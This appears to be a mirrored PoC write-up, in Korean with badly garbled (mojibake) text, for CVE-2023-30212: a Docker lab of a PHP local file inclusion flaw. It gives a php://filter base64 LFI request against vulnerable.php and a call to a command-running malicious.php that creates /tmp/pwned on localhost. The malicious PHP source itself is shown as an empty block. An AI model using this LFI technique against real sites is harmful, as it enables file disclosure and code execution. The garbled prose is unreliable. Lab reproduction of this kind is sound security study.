Share
## https://sploitus.com/exploit?id=1E3B8C72-35CC-54A4-B5CC-534FBD278F5E
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 νκ²½ κ΅¬μΆ λ° PoC λ³΄κ³ μ
## π κ°μ
μ΄ λ³΄κ³ μλ Vulhubμ μλ CVE-2023-30212 μ·¨μ½μ μ λμμΌλ‘ Docker κΈ°λ°μ μ·¨μ½ν μΉ νκ²½μ μ§μ ꡬμ±νκ³ , PoCλ₯Ό ν΅ν΄ ν΄λΉ μ·¨μ½μ μ μ
μ¦ν λ΄μ©μ λ΄κ³ μμ΅λλ€.
- **CVE λ²νΈ**: CVE-2023-30212
- **μ·¨μ½μ μ€λͺ
**: PHP LFI(Local File Inclusion)μ ν΅ν μ격 μ½λ μ€ν κ°λ₯μ±
- **λμ΄λ**: κ³ κΈ (Vulhubμ μλ νκ²½μ ꡬμ±)
---
## π§ νκ²½ ꡬμ±
### 1. Dockerfile λ° docker-compose ꡬμ±
- Base image: `php:8.1-apache`
- `/var/www/html` λλ ν°λ¦¬μ `vulnerable.php`μ `malicious.php` 볡μ¬
- `8088` ν¬νΈλ‘ μΈλΆ μ μ κ°λ₯
### 2. μ£Όμ νμΌ μ€λͺ
| νμΌλͺ
| μ€λͺ
|
|-------------------|-------------------------------------|
| `vulnerable.php` | LFI μ·¨μ½μ μ΄ μ‘΄μ¬νλ PHP νμΌ |
| `malicious.php` | μμ€ν
λͺ
λ Ήμ μ€ννλ μ
μ± PHP νμΌ |
| `docker-compose.yml` | 컨ν
μ΄λ ꡬμ±μ μν μ€μ νμΌ |
| `Dockerfile` | λ컀 μ΄λ―Έμ§ μμ±μ μν μ€μ νμΌ |
---
## π μ·¨μ½μ μ€ν νλ¦ (PoC)
### 1. 컨ν
μ΄λ μ€ν
```bash
docker-compose up -d
```
컨ν
μ΄λ μ΄λ¦: cve-2023-30212-cve-lfi-1
Apache μλ²κ° μ€νλλ©° http://localhost:8088μμ μ μ κ°λ₯
2. LFI κΈ°λ° μ
μ± νμΌ μμ€ νμΈ
μλ URLμ νΈμΆνμ¬ malicious.phpμ λ΄μ©μ base64λ‘ μΈμ½λ©λ ννλ‘ νμΈν©λλ€:
```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```
μΆλ ₯ κ²°κ³Όλ₯Ό λμ½λ©νλ©΄ μλ PHP μ½λκ° νμΈλ©λλ€:
```php
```
3. λͺ
λ Ήμ΄ μ€ν λ° κ²°κ³Ό νμΈ
μλ URLμ νΈμΆνμ¬ μ€μ λ‘ λͺ
λ Ήμ΄λ₯Ό μ€νν©λλ€:
```bash
http://localhost:8088/malicious.php
```
λͺ
λ Ήμ΄ μ€ν ν, /tmp/pwned νμΌμ΄ μμ±λμ΄μΌ ν©λλ€.
```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
κ²°κ³Όμ pwned νμΌμ΄ μ‘΄μ¬νλ©΄ μ±κ³΅μ
λλ€.
## κ²°κ³Ό μμ½
php://filter κΈ°λ° LFI μ·¨μ½μ μ ν΅ν΄ μ
μ± νμΌ λ΄μ© νμΈ λ° λμ½λ© μ±κ³΅
system() ν¨μκ° ν¬ν¨λ μ
μ± PHP νΈμΆμ ν΅ν΄ μμ λͺ
λ Ήμ΄ μ€ν μ±κ³΅
/tmp/pwned νμΌμ΄ μμ±λ¨μΌλ‘μ¨ PoC κ²μ¦ μλ£